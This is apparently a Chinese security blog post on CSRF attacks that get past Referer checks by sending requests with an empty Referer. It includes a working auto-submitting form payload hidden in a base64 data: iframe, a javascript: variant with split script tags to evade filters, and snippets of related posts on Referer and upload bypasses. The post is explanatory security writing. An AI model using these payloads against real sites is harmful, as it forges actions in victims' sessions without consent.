CSRF - 空Referer绕过

在实际环境中,服务器很多CGI由于一些历史原因,必须允许空Referer的请求。比如:老的客户端版本请求的时候就没有Referer,总不能在服务端一刀切,让老版本的用户都无法正常使用了吧。

这样的CGI就存在CSRF攻击的风险。那么我们该如何在真实环境中构造一个可利用的POC呢?

我们知道正常的页面跳转,浏览器都会自动带上Referer,那么现在的问题就变成了什么情况下浏览器会不带Referer?通过一些资料,可以大致总结为两种情况:

1.通过地址栏,手动输入;从书签里面选择;通过实现设定好的手势。上面说的这三种都是用户自己去操作,因此不算CSRF。

2.跨协议间提交请求。常见的协议:ftp://,http://,https://,file://,javascript:,data:.最简单的情况就是我们在本地打开一个HTML页面,这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。那么我们接下来可以利用data:协议来构造一个自动提交的CSRF攻击。当然这个协议是IE不支持的,我们可以换用javascript:

假如http://a.b.com/d 这个接口存在空Referer绕过的CSRF,那么我们的POC可以是这样的:

<html>
    <body>
       <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
    </doby>
</html>

  

上面iframe的src的代码其实是:

<form method=post action=http://a.b.com/d><input type=text name=‘id‘ value=‘123‘/></form><script>document.forms[0].submit();</script>

  

自动提交表单到有缺陷的CGI.

刚才说了上面的POC对IE支持不好,那么我们可以用javascript:协议来实现一个类似的,大致思路是这样的,具体构造代码我不弄了:

<iframe id="a" src=""></iframe>
<script>
    document.getElementById("a").src=‘javascript:"<html><body>wooyun.org<scr‘+‘ipt>eval(xx)</scr‘+‘ipt></body></html>"‘;
</script>

  

时间: 2024-08-10 19:18:13

CSRF - 空Referer绕过的相关文章

什么是防盗链设置中的空Referer

设置防盗链时候指明和不指明空Referer的区别及实现后的效果? 什么是Referer? 这里的 Referer 指的是HTTP头部的一个字段,也称为HTTP来源地址(HTTP Referer),用来表示从哪儿链接到目前的网页,采用的格式是URL.换句话说,借着 HTTP Referer 头部网页可以检查访客从哪里而来,这也常被用来对付伪造的跨网站请求. Referer的正确英语拼法是referrer.由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了.其它网络技术的规范企图修正此问题

CSRF--花式绕过Referer技巧

CSRF遇到Referer绕过的情况,有条件限制,不一定所有的Refere验证就可以绕过 1.Refere为空条件下 解决方案: 利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的. 例: 利用data:协议 <html> <body> <iframe src="data:text/htm

绕过referer校验的一些小知识

对referer做校验一般是对csrf进行防范的手段之一,但是很多时候不经意间还会增加其他攻击的难度,如xss,jsonp劫持等等. 这里对referer的绕过做一个小的总结:目标网站是:www.domain.com 攻击者的域名是:evil.com 1.使用子域名的方式绕过,如下: http://domain.evil.com/ 2.注册一个类似的域名,如下:http://www.evildomain.com/ 3.将域名以参数的形式接下url后面 http://www.evil.com/?h

CSRF手工测试方法

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF.一般来说,CSRF是除XSS外最常见一种漏洞,也是一大刷分利器. 有关CSRF的具体利用,CEO早在 08年就给我们详细介绍了,大家可以去膜拜下: 文章链接http://blog.csdn.net/lake2/Article/details/2245754 下面分享下我个人在测CSRF漏洞时绕过防御的一些主

Web安全相关(二):跨站请求伪造(CSRF/XSRF)

简介 CSRF(Cross-site request forgery跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用.尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左.XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更

HTTP 请求头部 referer

原文地址:https://www.sojson.com/blog/58.html HTTP 请求头部 referer 概述 referer 是  HTTP  请求头部的一部分.当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含  Referer .Referer的的作用是指示一个请求是从哪里链接过来,那么当一个请求并不是由链接触发产生的,那么自然也就不需要指定这个请求的链接来源,如:直接在浏览器的地址栏中输入一个资源的URL地址,那么这种请求是不会包含 Referer 

水坑配合JSON Hijacking

jsonp:解决跨域的问题 水坑攻击:引用百度百科",寻找攻击目标经常访问的网站的弱点,先将此网站"攻破"并植入攻击代码,一旦攻击目标访问该网站就会"中招",简单的说 你要搞XX人 你通过前期的信息收集 知道他的人都一般去什么网站 之后搞定经常上的这个网站 在这个网站挂马 我会告诉你 我12年的时候就是这样XX了某个国外的企业么. 今天的这个漏洞主要是获取个人信息,并没有针对这些人进行攻击,漏洞都是玩烂的. 大概说下我知道的利用水坑配合jsonp进行攻击的

Upload-libs通关详解

Uplo ad-labs—详解 1前端验证绕过 前端验证绕过可以直接用burp万能绕过前端JS脚本 方法先上传一张jpg Burp改包然后改后缀 上传成功 2Content-Type方式绕过 此绕过方式是将mimi也就是说文件后缀 我们此时选择上传图片抓包 发现content——tpype为image/jpeg 接下来我们上传1.php将content-type改为和图片一样的上传 然后发现上传成功 3黑名单绕过 这一关是另类的文件名的绕过,可以尝试phtml,php3,php4, php5,

爬取 音乐歌曲(千千,酷我)

没有用多线程 1 千千音乐 步骤|思路: 首先要能爬取一首歌然后再爬取歌单的第一面,最后爬取可选择的页数 爬取一首歌首先要找到network里的media 里面如果有东西则可发现这才是这首歌真实的 播放|下载 地址 然后根据xcode来搜索(倒推)它的下载源比如有 songlink,ting...等类似的文件,进去后preview可以看到歌曲的各种介绍,最后爬进这个下载源获得歌曲下载链接等数据 即可 坑点: (我认为)json文件是像字典一样的所以开头结尾要是{}如果{}前后有东西要先正则除去,